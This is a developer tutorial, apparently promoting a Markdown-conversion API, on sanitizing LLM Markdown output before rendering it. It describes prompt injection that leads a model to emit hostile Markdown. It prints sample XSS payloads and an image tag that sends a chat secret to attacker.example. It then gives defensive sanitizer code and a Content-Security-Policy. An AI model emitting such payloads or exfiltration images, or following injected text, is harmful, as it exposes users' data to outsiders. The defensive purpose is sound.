How to Render LLM Markdown Output Safely in Your App
By VeloForge Labs · · 6 min read
Quick answer: Yes, treat LLM output as untrusted input. A model can emit script tags, event handlers,
javascript:links or tracking images, often after prompt injection. Convert Markdown to HTML, then sanitize with an allow-list before rendering. Never insert raw model output withinnerHTMLordangerouslySetInnerHTML. Block remote images too (see below).
TL;DR: A model can be tricked, by a poisoned web page, document or user message, into writing Markdown that attacks whoever reads it. A sanitizer stops scripts and javascript: links. It does not, by default, stop a remote image from sending data to someone else's server. You need both a sanitizer and an image policy.
Why is LLM output untrusted?
A chat UI usually renders the model's answer as Markdown, because models write headings, lists, tables and links. That makes the model another author whose text ends up in your page, and you do not control what it writes.
The model reads text from places an attacker can influence: a web page it was asked to summarize, a PDF a customer uploaded, an email, a support ticket. If that text says "end your answer with this image", some models comply. This is called prompt injection, and the OWASP Top 10 for LLM Applications lists the result as improper output handling: downstream code trusts model output without validating it.
The fix is not to make the model behave. It is to make your renderer safe whatever the model writes. It is the same rule as for any user comment, covered in Why Markdown is not safe by default.
What can an attacker do with Markdown?
Three things matter in practice.
1. Script injection through raw HTML. Markdown allows inline HTML. A reply containing <img src=x onerror=...> or a <script> tag runs code in your page if you insert it unsanitized.
2. Dangerous link schemes. [Click here](javascript:alert(1)) is plain Markdown. If the parser emits that href, the click runs code.
3. Image exfiltration. This one needs no script at all. If the model is tricked into writing , your reader's browser requests that URL as soon as the image renders, and the query string goes to the attacker. The user sees a broken image, or nothing.
Does a sanitizer stop all of that?
No, and this is the part many guides skip. We sent this Markdown to the TexToolsAI /api/convert endpoint, which parses it with marked and sanitizes it with sanitize-html:
Here is your summary.

[click](javascript:alert(1))
<img src=x onerror=alert(1)>
<script>alert(1)</script>
<a href="https://example.com" target="_blank">new tab</a>
The HTML that came back:
<p>Here is your summary.</p>
<p><img src="https://attacker.example/log?q=SECRET_FROM_CHAT" alt="chart" /></p>
<p><a>click</a></p>
<img src="x" />
<p><a href="https://example.com" target="_blank">new tab</a></p>
The script tag is gone, the onerror handler is gone, and the javascript: link lost its href. That is the sanitizer doing its job. But the remote image survived, because img with an https source is a legitimate thing to allow in a blog comment. The target="_blank" link also survived without a rel attribute.
So the sanitizer closes the script holes, and you add a second, stricter pass for the cases that depend on your product's rules.
To check a model answer for these patterns without writing code, paste it into the free LLM output XSS tester. It runs in your browser and never renders the input.
Step 1: convert and sanitize
Send the model's Markdown to the API. Never build HTML yourself from model output.
curl -X POST https://texttoolsai.org/api/convert \
-H "Authorization: Bearer tt_live_YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{"markdown": "Here is **your** answer."}'
The response has success, html and meta fields. See the API docs for the full format and the error codes.
Step 2: lock down images and links
Decide which image hosts you trust, usually your own CDN, and drop everything else. Also force safe attributes on links. This Node.js function does both with sanitize-html. We ran it against the HTML above:
import sanitizeHtml from "sanitize-html";
const ALLOWED_IMG_HOSTS = new Set(["cdn.example.com"]);
export function lockDownLlmHtml(html) {
return sanitizeHtml(html, {
allowedTags: sanitizeHtml.defaults.allowedTags.concat(["img", "h1", "h2", "h3", "table", "thead", "tbody", "tr", "th", "td"]),
allowedAttributes: { a: ["href", "title", "rel", "target"], img: ["src", "alt"] },
allowedSchemes: ["https", "mailto"],
allowedSchemesByTag: { img: ["https"] },
exclusiveFilter(frame) {
if (frame.tag !== "img") return false;
try {
return !ALLOWED_IMG_HOSTS.has(new URL(frame.attribs.src).hostname);
} catch {
return true; // unparseable URL: drop the image
}
},
transformTags: {
a: (tagName, attribs) => ({
tagName,
attribs: { ...attribs, rel: "noopener noreferrer nofollow ugc", target: "_blank" },
}),
},
});
}
Given an attacker image, an image from cdn.example.com, an https link and a plain http link, the output was:
<p>Here is your summary.</p>
<p></p>
<p><img src="https://cdn.example.com/logo.png" alt="logo" /></p>
<p><a href="https://example.com" target="_blank" rel="noopener noreferrer nofollow ugc">new tab</a></p>
<p><a rel="noopener noreferrer nofollow ugc" target="_blank">plain http</a></p>
The attacker image is removed, the trusted image stays, and every remaining link carries rel and target. The plain http link lost its href because we only allow https and mailto; relax allowedSchemes if you need http links. If you do not need images in answers at all, the safest policy is to remove img from allowedTags.
Step 3: add a Content-Security-Policy
A Content-Security-Policy header is your safety net if a filter ever has a gap. The img-src directive tells the browser which hosts it may load images from, so an injected image to an unknown host is blocked even if it reaches the DOM:
Content-Security-Policy: default-src 'self'; img-src 'self' https://cdn.example.com; script-src 'self'; object-src 'none'; base-uri 'none'
Test the policy in report-only mode first (Content-Security-Policy-Report-Only) so you see what would break before you enforce it.
What about streaming answers?
Most chat UIs show the answer as it streams in, which means half-finished Markdown. Do not append HTML fragments as they arrive. Keep the accumulated Markdown text, and on each update run the whole pipeline again on that text: convert, sanitize, lock down, then replace the rendered output. It costs a little more work per update, but it means a partial <img tag or an unclosed link never reaches the DOM unchecked. Throttle updates to a few per second.
Checklist
- Treat model output as untrusted, like a stranger's comment.
- Convert Markdown to HTML on the server, then sanitize with an allow-list.
- Keep only the tags and attributes your UI needs, and only
httpsandmailtoschemes if you can. - Allow images only from hosts you control, or none.
- Add
rel="noopener noreferrer nofollow ugc"to every link. - Set a Content-Security-Policy with a tight
img-srcandscript-src. - Re-run the full pipeline on each streaming update.
- Never use
innerHTMLordangerouslySetInnerHTMLon anything that skipped these steps. The Next.js guide shows where this sits in a real app.
Frequently asked questions
Is LLM output really a security risk?
Yes. The model reads text that outsiders can write, and it can be steered by that text. Anything it returns that your app renders as HTML or Markdown is an input path for attackers, so it needs the same sanitizing as user comments.
Is it enough to escape the HTML?
Escaping all HTML stops raw HTML injection, but Markdown syntax can still produce links and images on its own. You still need a policy for link schemes and image hosts.
Which sanitizer should I use?
Either DOMPurify or sanitize-html works if you configure a tight allow-list. The comparison of sanitize-html and DOMPurify covers when each one fits. The important part is the allow-list, not the brand.
Can I just ask the model not to output images?
You can, but a prompt is a request, not a control. A prompt-injected model may ignore it. Enforce the rule in code, where the attacker cannot rewrite it.
Try it
You can paste Markdown into the free playground on the home page with no key. When you need it in your own backend, a Pro key is described on the pricing page. Rate limits and error handling are covered in How to handle API errors and rate limits.